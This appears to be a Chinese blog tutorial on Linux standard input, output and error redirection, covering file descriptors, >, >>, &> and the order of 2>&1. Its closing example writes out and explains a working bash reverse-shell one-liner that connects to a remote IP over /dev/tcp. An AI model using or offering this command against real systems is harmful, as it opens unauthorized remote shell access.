linux标准输入输出以及重定向
1.经常遇到< << > >> 0>&1是什么意思
以上表示某种输入输出重定向,具体了解前要知道什么是标准输入输出。
2.什么是标准输入输出
标准输入输出实际完整的叫法是标准输入输出文件。 linux系统中一切设备都是文件,都是对文件的操作。 具体就是: 标准输入文件(stdin),通常对应终端的键盘; 标准输出文件(stdout),这个文件都对应终端的屏幕。 还有个错误输出也是终端屏幕。 进程分别 将从标准输入文件中得到输入数据 将正常输出数据输出到标准输出文件, 将错误信息送到标准错误文件中。
3.关于重定向:
输入重定向:指把命令(或可执行程序)的标准输入重定向到指定的文件中。 也就是说,输入可以不来自键盘,而来自一个指定的文件。 所以说,输入重定向主要用于改变一个命令的输入源,特别是改变那些需要大量输入的输入源。 输出重定向:指把命令(或可执行程序)的标准输出或标准错误输出重新定向到指定文件中。
这样,该命令的输出就不显示在屏幕上,而是写入到指定文件中。
各自符号的重定向表示:
标准输入输出还有文件描述符: 0 是标准输入(STDIN), 1 是标准输出(STDOUT), 2 是标准错误输出(STDERR)。 1). <:就是标准输入重定向(等同0<), 意思将某某文件作为程序输入,也就是从某文件读取而不是键盘。 比如:command < file(等同 command 0< file) 2). >:就是标准输出重定向(等同1>),可以重定向到文件(以覆盖方式),网络 意思输出到别的文件不是屏幕。 >>:以追加方式输出到文件 比如:command > file(等同 command 1> file) 比如:command >> file 3).文件描述符和重定向符之间不能有空格(比如:是0<,不能是0 <) 程序的执行前,会先检查是否重定向,因此重定向符写在命令前后都可以,比如: cat < file 等同:
cat 0< file 等同:
< file cat 等同:
0< file cat
提升1:&把标准输出和标准错误输出都重定向到相同文件:
&> file 等同:
>& file 等同:
> file 2>&1 //重定向符右边使用文件符需要加&,&1是标准输出,单独一个1识别成文件名称是1的文件。 比如:mkdir &> file //命令会出错,错误信息会写入file文件
提升2:多个重定向不同顺序意思不一样(程序执行从左往右执行)
1).command 2>&1 >8.txt //原本标准错误输出变成标准输出的形式,原本标准输出变成输出到8.txt int f0=0,f1=1,f2=2; //理解成每个程序都有三个坑,对应三个默认文件(0号,1号,2号),现在新建一个8号文件。 f2=f1; f1=8; 2).command >8.txt 2>&1 //标准输出和标准错误输出都输出到文件8.txt中 f1=8; f2=f1;
重点: [n]<&[m] / [n]>&[m] 重定向左右两边是标准文件符有复制的意思。
以上面为例子 标准错误和标准输出默认对应两个设备也就是两个不同文件(1号,2号文件)。 2>&1:即复制标准输出替换标准错误输出,值得注意的是, 如果复制前,(>8.txt 2>&1)标准输出已经被8.txt替换,那么复制的就是替换后的(8.txt),也就是错误输出和标准输出都是8.txt。 如果复制完成后,(2>&1 >8.txt)标准输出将被8.txt替换,那么复制的就是默认的1号文件,也就是复制了默认的标准输出。 2>&1 >8.txt:容易犯的错误理解: 将错误输出写到标准输出,标准输出又输出到8.txt, 那么错误输出和标准输出都会输出到8.txt,这是错误的理解!!! 实际可以理解成标准错误输出写到标准输出的克隆体,原标准输出写到8.txt。 为什么要反复强调,呃呃呃,之前就是这么想的。。。
特殊情况:
0<&1 //字面意思:从标准输出中读取数据 等同: 0>&1 //字面意思:将标准输出的内容写入键盘输入 那么最终意思是一样的。
4.例子
例子: 1.错误输出到文件file $ command 2>file 2.输出和错误输出都输出到文件中 $ command > file 2>&1 等同: command >& file 等同: command &> file 3.从文件1读取,输出文件2 $ command < file1 >file2 提升例子: bash -i >& /dev/tcp/10.201.61.194/6767 0>&1 1).bash -i:生成交互的命令行 2).>& /dev/tcp/10.201.61.194/6767:bash解释器会对/dev/tcp对特殊处理,建立tcp socket,那么就是标准和错误输出都写到网络中 3).0>&1:字面意思是从标准输出的内容读入程序,但因为标准输出已经变成了输出到网络,所以意思是从网络读取。